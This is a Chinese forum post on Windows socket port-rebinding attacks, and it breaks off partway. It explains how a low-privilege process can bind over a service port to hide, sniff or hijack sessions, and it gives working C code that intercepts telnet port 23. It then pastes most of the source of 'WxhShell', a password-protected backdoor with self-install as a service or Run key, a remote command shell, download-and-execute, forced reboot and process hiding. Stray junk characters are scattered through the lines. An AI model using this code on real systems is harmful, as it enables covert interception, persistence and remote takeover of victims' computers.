社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 11184阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: |4vk@0L  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q"O _h  
A\`Uu&  
  saddr.sin_family = AF_INET; G1rgp>m  
dkjL;1  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Jp- hFD  
\Z8!iruN  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); {`VQL6(i  
h.nzkp5  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !?{5ET,gtN  
I8y\D,  
  这意味着什么?意味着可以进行如下的攻击: \GWC5R7Q0j  
O);V{1P  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #u_-TWVt  
'PZJ{8=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Gx m"HC  
_N6GV$Q  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ~&kV  
TUG3#PSnm*  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Mtu8zm  
xQQ6D  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0 !Yi.'+  
Xma0k3;-  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;I>`!|mT  
mYCGGwD  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \ C Yu;  
n):VuOjm  
  #include Ap/WgVw;  
  #include D+OkD-8q  
  #include FwyPmtBj  
  #include    ]l`DR4 =  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |c) #zSv  
  int main() ec|IT0;  
  { %Xn)$Ti ~<  
  WORD wVersionRequested; N}\i!YUD  
  DWORD ret; NJ.kT uk  
  WSADATA wsaData; =$MV3]  
  BOOL val; /9sUp} *  
  SOCKADDR_IN saddr; d<]/,BY'  
  SOCKADDR_IN scaddr; )j](_kvK  
  int err; V%))%?3x_  
  SOCKET s; @ B+];lr/-  
  SOCKET sc; I8m(p+Z=  
  int caddsize; /Mv'fich(  
  HANDLE mt; D3eK!'qS  
  DWORD tid;   Js'|N%pi  
  wVersionRequested = MAKEWORD( 2, 2 ); >Q YxX<W  
  err = WSAStartup( wVersionRequested, &wsaData ); so;aN'{6@  
  if ( err != 0 ) { : M Md@  
  printf("error!WSAStartup failed!\n"); bkb}M)C  
  return -1; {+!_; zzZ  
  } 2l9_$evK~  
  saddr.sin_family = AF_INET; ^pn:SV  
   s:%>H|-  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 NFQ0/iuW  
`| fF)kI  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); FkH4|}1  
  saddr.sin_port = htons(23); l! GPOmf9`  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) aD.A +es  
  {  M`bK   
  printf("error!socket failed!\n"); Q,>AT$|  
  return -1; GE>&fG  
  } ;I9D>shkc  
  val = TRUE; _$r+*nGDz  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 d< y B ~Y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) fSj^/>  
  { $lvpBs  
  printf("error!setsockopt failed!\n"); ~`y6YIJ3  
  return -1; W_?S^>?l/  
  } 0'gJSrgNI  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; JWLQ9U X  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;(z0r_p<q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 c Mq|`CM  
iKu5K0x{>I  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {L#Pdj{  
  { L;Nm"[ `  
  ret=GetLastError(); C3|M\[*fp  
  printf("error!bind failed!\n"); x k#/J]j  
  return -1; kc}e},k  
  } T7[ItLZ  
  listen(s,2); 4]Krx m`8  
  while(1) $N~8 ^6  
  { )F:hv[iv  
  caddsize = sizeof(scaddr); TtHqdKL  
  //接受连接请求 K1Uur>Pk%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1g *4e  
  if(sc!=INVALID_SOCKET) q?`bu:yS  
  { 0 ~VniF^  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^*Sb)tu\ W  
  if(mt==NULL) 0 j6/H?OT  
  { ^X^4R1V)  
  printf("Thread Creat Failed!\n"); zT.qNtU%  
  break; U`xjau+  
  } w9vqFtj  
  } [-Dx)N  
  CloseHandle(mt); $cc]pJy"}  
  } QHK$2xtq|  
  closesocket(s); y:xZ(RgfF  
  WSACleanup(); B&cC;Hw  
  return 0; r.[9/'>  
  }   O>UR\l|+:2  
  DWORD WINAPI ClientThread(LPVOID lpParam) fF ;-d2mF  
  { Ok9XC <Xu  
  SOCKET ss = (SOCKET)lpParam; ;as B@Q  
  SOCKET sc; h&&ufF]D  
  unsigned char buf[4096]; 60Y&)UR  
  SOCKADDR_IN saddr; gz8<&*2  
  long num; ~h -0rE  
  DWORD val; c'[l%4U8[  
  DWORD ret;  kf';"  
  //如果是隐藏端口应用的话,可以在此处加一些判断 -r[l{ce  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   l9\ *G;  
  saddr.sin_family = AF_INET; t 7+ifSrz  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); LG(bdj"NM  
  saddr.sin_port = htons(23); < yBZsSj  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .^ soX}  
  { sT|8a  
  printf("error!socket failed!\n"); OQA}+XO  
  return -1; Fe}Dnv)}Z  
  } S-*4HV_l  
  val = 100; |.X?IJ`  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1Jt5|'tl  
  { _dj_+<Y?  
  ret = GetLastError(); }!x\qpA  
  return -1; YuFJJAJ  
  } USv: + .  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Y$shn]~  
  { V|)3l7IC<  
  ret = GetLastError(); (i1 ]+.  
  return -1; jUYb8:B  
  } ]:d`=V\&N  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }[k~JXt  
  { voEg[Gg4%I  
  printf("error!socket connect failed!\n"); h#a,<B|  
  closesocket(sc); Jc95Ki1X  
  closesocket(ss); ;kDz9Va  
  return -1; @h$cHZ  
  } %N04k8z  
  while(1) -)PQ&[  
  { Hz `aj  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^fa+3`>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 E)7vuWO O  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9t9x&.A  
  num = recv(ss,buf,4096,0); /^SIJS@^`>  
  if(num>0) (]>= y  
  send(sc,buf,num,0); CNwIM6t  
  else if(num==0) ;N#d'E\  
  break; qS:hv&~  
  num = recv(sc,buf,4096,0); -W<x|ph U  
  if(num>0) Yxp.`  
  send(ss,buf,num,0); =Q>'?w>  
  else if(num==0) x4Q*~,n  
  break; %We~k'2f  
  } ci a'h_w  
  closesocket(ss); 9Ra*bP ]1  
  closesocket(sc); nep0<&"  
  return 0 ; V4PI~"4q#1  
  } hCS|(8g  
9ldv*9v  
O`<id+rx  
========================================================== G(" S6u  
qj/ pd 7\  
下边附上一个代码,,WXhSHELL ?RNm8,M  
z|E/pm$^  
========================================================== (e.?). e  
&@NTedg!  
#include "stdafx.h" d e)7_pCF|  
K Rs e  
#include <stdio.h> 4>x]v!d  
#include <string.h> >]s\%GO  
#include <windows.h> l];w,(u{  
#include <winsock2.h> :sDE 'o  
#include <winsvc.h> 9$U@h7|Q`  
#include <urlmon.h> Jr+~'  
Er509zZ,[  
#pragma comment (lib, "Ws2_32.lib") D+.< kY.  
#pragma comment (lib, "urlmon.lib") /P { Zo  
CobMagPhr  
#define MAX_USER   100 // 最大客户端连接数 Xf o3fW)s  
#define BUF_SOCK   200 // sock buffer uyZ  
#define KEY_BUFF   255 // 输入 buffer d nRbt{`jP  
O<}3\O )G(  
#define REBOOT     0   // 重启 ZFYv|2l  
#define SHUTDOWN   1   // 关机 .LMOmc=(  
B /q/6Pp  
#define DEF_PORT   5000 // 监听端口 IdTa tE|^  
HmlE Cx  
#define REG_LEN     16   // 注册表键长度 =A[:]),v  
#define SVC_LEN     80   // NT服务名长度 ts|dk%  
A8tzIh8  
// 从dll定义API PW7{,1te,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); RI.6.f1dy  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;J [ed>v;3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /q[5-96c  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <j\osw1R  
max 5s$@  
// wxhshell配置信息 d+DdDr  
struct WSCFG { CWKN0HB  
  int ws_port;         // 监听端口 ^K[WFiN}  
  char ws_passstr[REG_LEN]; // 口令 k+qxx5{  
  int ws_autoins;       // 安装标记, 1=yes 0=no F9h'.{@d  
  char ws_regname[REG_LEN]; // 注册表键名 }#'I,?_k  
  char ws_svcname[REG_LEN]; // 服务名 ^jY/w>UdH  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 FVY$A =G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 w(/#isC  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 CVxqNR*DN  
int ws_downexe;       // 下载执行标记, 1=yes 0=no - QPM$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" DpA"5RV  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }7Lo}}  
d6RO2^  
}; n`v;S>aT  
a* 2*aH7  
// default Wxhshell configuration  j`H5S  
struct WSCFG wscfg={DEF_PORT, e *9c33  
    "xuhuanlingzhe", *49({TD6`  
    1, [k<"@[8)  
    "Wxhshell", .0ov>4,R  
    "Wxhshell", ayGYVYi  
            "WxhShell Service", GTYCNi66  
    "Wrsky Windows CmdShell Service", 9c pjO  
    "Please Input Your Password: ", o4Ny9s  
  1, VT@,RlB0  
  "http://www.wrsky.com/wxhshell.exe", WxE^S ??|  
  "Wxhshell.exe" VKGH+j[  
    }; (g(.gN]  
A8|DB@ Bi  
// 消息定义模块 6>  L)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r [NI#wW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ku 'OM6D<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Wb)>APL  
char *msg_ws_ext="\n\rExit."; /kZ{+4M  
char *msg_ws_end="\n\rQuit."; +F>9hA  
char *msg_ws_boot="\n\rReboot..."; 'J[ n}r  
char *msg_ws_poff="\n\rShutdown..."; rHSA5.[1P  
char *msg_ws_down="\n\rSave to "; ;7/ ;4Z  
Wnf3[fV6P  
char *msg_ws_err="\n\rErr!"; &Hl*Eg f  
char *msg_ws_ok="\n\rOK!"; yW@0Q:  
5Yxs_t4  
char ExeFile[MAX_PATH]; &PE/\_xD_  
int nUser = 0; NI<;Lm  
HANDLE handles[MAX_USER]; \+9~\eeXb  
int OsIsNt; Ire+r "am  
6x]x>:8  
SERVICE_STATUS       serviceStatus; An.Qi=Cv  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V?[dg^*0  
r:.ydr@  
// 函数声明 mK Ta.  
int Install(void); PQ0l<]Y  
int Uninstall(void); ,V`zW<8  
int DownloadFile(char *sURL, SOCKET wsh); Sh@en\m=#S  
int Boot(int flag); k'6Poz+<  
void HideProc(void); 5u:{lcC.X  
int GetOsVer(void); 4Y'Kjx  
int Wxhshell(SOCKET wsl); /7`fg0A  
void TalkWithClient(void *cs); 6Wn"h|S  
int CmdShell(SOCKET sock); I38j[Xk  
int StartFromService(void); :Qc[>:N  
int StartWxhshell(LPSTR lpCmdLine); @3aI7U/I  
%B#(d)T*-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <i1.W !%  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  <u=k X  
XT "-   
// 数据结构和表定义 &x mYpQ  
SERVICE_TABLE_ENTRY DispatchTable[] = G=VbEL^H  
{ =cP7"\  
{wscfg.ws_svcname, NTServiceMain}, BH;7CK=7R  
{NULL, NULL} =!R+0  
}; arQEi  
!dcG Bj  
// 自我安装 |0wHNRN_  
int Install(void) !kpnBgmU  
{ U %,K8u|WH  
  char svExeFile[MAX_PATH]; <jjn'*44f  
  HKEY key; S&q(PI_"  
  strcpy(svExeFile,ExeFile); S.)+C2g,@  
=Rw-@ *#l  
// 如果是win9x系统,修改注册表设为自启动 ^.Xom~  
if(!OsIsNt) { PV(TDb:0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o6b\ w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  f3E%0cg  
  RegCloseKey(key); >Nho`m(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H)5V \  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q($.s=&l;  
  RegCloseKey(key); Qzh`x-S  
  return 0; ;ND)h pD+  
    } w(6(Fze  
  } )=9EShz!  
} zZh\e,*  
else { .ou#BWav/  
0*4h}t9j  
// 如果是NT以上系统,安装为系统服务 um5n3=K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h ycdk1SN  
if (schSCManager!=0) QPZ|C{Ce  
{ Vmb `%k20'  
  SC_HANDLE schService = CreateService p$+.]  
  ( OZCbMeB{+J  
  schSCManager, IPTEOA<M[  
  wscfg.ws_svcname, q\I2lZ  
  wscfg.ws_svcdisp, 9FKowF_8  
  SERVICE_ALL_ACCESS, PKK18E}{%^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %=G*{mK  
  SERVICE_AUTO_START, 15)y]N={^  
  SERVICE_ERROR_NORMAL, lDU@Q(V#}<  
  svExeFile, .$s>b#mO  
  NULL, Osj/={7g  
  NULL, ^?Y x{r~9  
  NULL, FVo_=O)  
  NULL, h,Nq:"}  
  NULL ^ALR.N+<  
  ); 6~O9|s^38w  
  if (schService!=0) /l.ox.4z#  
  { x[m&ILr  
  CloseServiceHandle(schService); I}!Er V  
  CloseServiceHandle(schSCManager); E4;@P']`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :,~]R,tJQ  
  strcat(svExeFile,wscfg.ws_svcname); 7wA.:$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5;4bZ3e,0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (imaL,M-D  
  RegCloseKey(key); R{0nk   
  return 0; 4],*y`& g  
    } 6$*\%  
  } = VFPZ  
  CloseServiceHandle(schSCManager); ~ MZEAY9  
} *$6dNx  
} a}#8n^2  
D>>?8a  
return 1; rd\:.  
} iQ7S*s+l5O  
56JvF*hP  
// 自我卸载 G Ch]5\  
int Uninstall(void) -&UP[Mq  
{ by0@G"AE+  
  HKEY key; kbcqUE  
m R|;}u;d  
if(!OsIsNt) { +/|;<K5_LI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lq[o2\  
  RegDeleteValue(key,wscfg.ws_regname); UFOUkS F  
  RegCloseKey(key); #@^mA{Dt5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m&&Y=2  
  RegDeleteValue(key,wscfg.ws_regname); 6_vhBYLf  
  RegCloseKey(key); Rg,]d u u?  
  return 0; UifuRmn  
  } $sa5aUg }  
} f*tKj.P  
} piPx8jT`F  
else { r}%2;!T  
hP$v,"$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); MjrI0@R  
if (schSCManager!=0) Pr_$%x9D  
{ a|u&N:v7B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &'{?Y;A  
  if (schService!=0) }r _d{nhi  
  { SAUfA5|e  
  if(DeleteService(schService)!=0) { iI 4XM>`a  
  CloseServiceHandle(schService); ^h^\kW'#  
  CloseServiceHandle(schSCManager); FQp@/H^  
  return 0; 7JL*y\'  
  } ~bsL W:.'  
  CloseServiceHandle(schService); C A 8N  
  } S`?L\R.:  
  CloseServiceHandle(schSCManager); 6U!zc]>  
} ^U@-Dp,k+  
} A."]6R<  
YZllfw$9  
return 1; 9~Ve}NB#z&  
} 3Y6W)$ Q  
Q}(D^rGP3  
// 从指定url下载文件 ;"T,3JQPn6  
int DownloadFile(char *sURL, SOCKET wsh) <JkmJ/X  
{ Of?3|I3 l  
  HRESULT hr; 'qt+.vd  
char seps[]= "/"; sQ05wAv  
char *token; A!bH0=<I  
char *file; &E+2  
char myURL[MAX_PATH]; pGHn   
char myFILE[MAX_PATH]; L32[IL|  
6f^q >YP  
strcpy(myURL,sURL); 3H_%2V6#V1  
  token=strtok(myURL,seps); |on$ )vm  
  while(token!=NULL) 9&VfbrBM  
  { Du7DMo=l  
    file=token; o+F]80CH  
  token=strtok(NULL,seps); )&$p?kF  
  } 1.6Y=Mh=i[  
z pV+W-j]  
GetCurrentDirectory(MAX_PATH,myFILE); JA(M'&q4  
strcat(myFILE, "\\"); KvtX>3#qM  
strcat(myFILE, file); PD$@.pib  
  send(wsh,myFILE,strlen(myFILE),0); '3'*VcL(  
send(wsh,"...",3,0); iLR^V!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); PEIf)**0N  
  if(hr==S_OK) ,lUr[xzV  
return 0; Z?AX  
else bzh`s<+  
return 1; UP?]5x>  
Pi&8!e<  
} GDBxciv  
3g''j7  
// 系统电源模块 c*:H6(u  
int Boot(int flag) ?jy6%Y#,i  
{ F?EAIL  
  HANDLE hToken; =xX)2h  
  TOKEN_PRIVILEGES tkp; blHJhB&8  
#OE]'k Ss  
  if(OsIsNt) { < X&{6xu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rh+2 7"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L,PD4H"8  
    tkp.PrivilegeCount = 1; jJU9~5i?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l$mfsm|{:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); SIr^\iiOB  
if(flag==REBOOT) { B33H,e)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =Ti[Q5SZ  
  return 0; @5Zg![G  
} n k@e#  
else { ZL{\M|@jz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,- FC  
  return 0; IN#Z(FMVC  
} X@cO`P  
  } >|!s7.H/J/  
  else { .e|VW)  
if(flag==REBOOT) { J3P )oM[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G;k#06  
  return 0; 6B .x=  
} [fl x/E  
else { ;wF 0s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q xg)Wb#  
  return 0; a3?D@@Qnw  
} 8e{S(FZ7Ed  
} 8IrA {UU  
b0n " J`  
return 1; %M KZ':m  
} I%qZMoS1h  
!T3b ]0z  
// win9x进程隐藏模块 0'Y'K6hG`  
void HideProc(void) ^;[|,:8f7L  
{ H1^m>4ll9  
XzV:q!e-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); nJ{vO{N  
  if ( hKernel != NULL ) ehe;<A  
  { Q q7+_,w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y^xEZD1X6-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <1xs ya[e  
    FreeLibrary(hKernel); u hJnDo  
  } 5q Y+^jO]o  
^_C]?D?  
return; IA&NMf;{  
} 0S}ogU[k  
/rQ[Ik$|  
// 获取操作系统版本 \ =(r6X  
int GetOsVer(void) +* AdSzX  
{ G:k]tZ*`  
  OSVERSIONINFO winfo; ugT;NB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $ &III  
  GetVersionEx(&winfo); {P[>B}'rW  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) hI Q 2s  
  return 1; ytkV"^1^  
  else 7>sNjOt@M  
  return 0; rm"C|T4:V  
} L2GUrf  
Y(D&JKx  
// 客户端句柄模块 qzbpLV|  
int Wxhshell(SOCKET wsl) :\sz`p?EC  
{ "jFRGgd79  
  SOCKET wsh; rz'A#-?'oG  
  struct sockaddr_in client; IA$)E  
  DWORD myID; %40uw3  
BZr$x8%ki  
  while(nUser<MAX_USER) Q(gc(bJV  
{ S]#xG+$<  
  int nSize=sizeof(client); oMNgyAp^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  +?I 1Og  
  if(wsh==INVALID_SOCKET) return 1; { t1|6R0  
dY6A)[dAH'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^S]-7>Yyr  
if(handles[nUser]==0) hnf7Q l}  
  closesocket(wsh); 4x;vn8 yh  
else Cvk n2T  
  nUser++; 6~#$bp^-  
  } gqCDF H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); czH`a=mjH  
rQ+2 -|#  
  return 0; 8;vpa*  
} }/cMG/%  
~l SdWUk>  
// 关闭 socket uOU?-WtPz  
void CloseIt(SOCKET wsh) WhY8#B'?  
{ xP+HdA2X  
closesocket(wsh); |4lrVYG^K  
nUser--; V < ;vy&&  
ExitThread(0); H)u<$y!8  
} Frxim  
>^\}"dEvr  
// 客户端请求句柄 BEfp3|Stb  
void TalkWithClient(void *cs) .NOh[68'  
{ kl&9M!;:n  
<ic%c/mN  
  SOCKET wsh=(SOCKET)cs; Gs7#W:e7  
  char pwd[SVC_LEN]; Ivdg1X  
  char cmd[KEY_BUFF]; %8N=4vTJ  
char chr[1]; _Vj uQ  
int i,j; Ait3KIJ9  
k 6)ThIG  
  while (nUser < MAX_USER) { O,>`#?  
6L\?+=X  
if(wscfg.ws_passstr) { /ZcqKC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :% o32  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `_*NFv1_  
  //ZeroMemory(pwd,KEY_BUFF); K@DK4{  
      i=0; gr%!<2w  
  while(i<SVC_LEN) { 0 jszZ_  
\KpSYX1  
  // 设置超时 Vu u2SS  
  fd_set FdRead; 6n}5>GSF  
  struct timeval TimeOut;  <m7T`5+  
  FD_ZERO(&FdRead); WOgPhJ  
  FD_SET(wsh,&FdRead); @m bR I0  
  TimeOut.tv_sec=8; 2:>|zmh_  
  TimeOut.tv_usec=0; xbeVq P  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B"9/+Yj  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5qx,b&^w  
AnUOv 2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,*Vt53@E  
  pwd=chr[0]; Q:/BC= ~  
  if(chr[0]==0xd || chr[0]==0xa) { F N)vFQ#J  
  pwd=0; hj8S#  
  break; /!//i^  
  } 7j <:hF~  
  i++; k'hJ@ 6eKS  
    } Gx.iZOOH/  
!VF.=\iH/  
  // 如果是非法用户,关闭 socket g/2eY$6Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :Jz@`s1n  
} AzwG_XgM)  
ML|O2e  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [kjmEMF9i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SW^/\cJ^  
.@(+.G  
while(1) { @\_l%/z{  
GdxMHnn=  
  ZeroMemory(cmd,KEY_BUFF); "AAzBWd/  
qxR7;/@j)  
      // 自动支持客户端 telnet标准   XKTX~:  
  j=0; 0i4 X,oHjG  
  while(j<KEY_BUFF) { ?'I[[KuG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i5QG_^X&  
  cmd[j]=chr[0]; Ki"o0u  
  if(chr[0]==0xa || chr[0]==0xd) { <o\2-fWvY  
  cmd[j]=0; aeP 6JHj  
  break; Xw|t.0  
  } m3La;%aA0  
  j++; T==(Pw7R7  
    } rTR4j>Ua~  
Ai 9UB=[R  
  // 下载文件 6jGPmOM/  
  if(strstr(cmd,"http://")) { U6R"eQUTV  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vXio /m  
  if(DownloadFile(cmd,wsh)) 6axDuwQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ckelr  
  else ;g0p`wV  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DKcg  
  } v@6TC1M,  
  else { %dyEF8)  
~;pv &s5}  
    switch(cmd[0]) { UX9r_U5)  
  Hvm+Tr2@  
  // 帮助 JpFfO<uO  
  case '?': { :-I~-Yj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vWM3JH~a6  
    break; RuW62QSq  
  } h7EKb-@  
  // 安装 2rr}5i)r|  
  case 'i': { {APsi7HYBr  
    if(Install()) m _0D^e7#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v0ng M)^q  
    else 1b6o x6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~m]sJpW<"  
    break; E27N1J+1  
    } ;U +;NsCH  
  // 卸载 q66+x)  
  case 'r': { LOD'iiH6  
    if(Uninstall()) kg>Ymo.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); | Q Y_ci  
    else 3M nm2*\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k#4%d1O}  
    break; Q}?yj,D D  
    } :oH~{EQ  
  // 显示 wxhshell 所在路径 .Q,IOCHk  
  case 'p': { "]jGCo>9  
    char svExeFile[MAX_PATH]; =-ky%3:`@  
    strcpy(svExeFile,"\n\r"); y11/:|  
      strcat(svExeFile,ExeFile); NW.<v /?=,  
        send(wsh,svExeFile,strlen(svExeFile),0); cR0RJ$[d  
    break; S_z}h  
    } UeG$lMV  
  // 重启 SX{sh M2  
  case 'b': { yMQuM :d  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yAu-BObD  
    if(Boot(REBOOT)) /ry# q% ?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6~ *w~U  
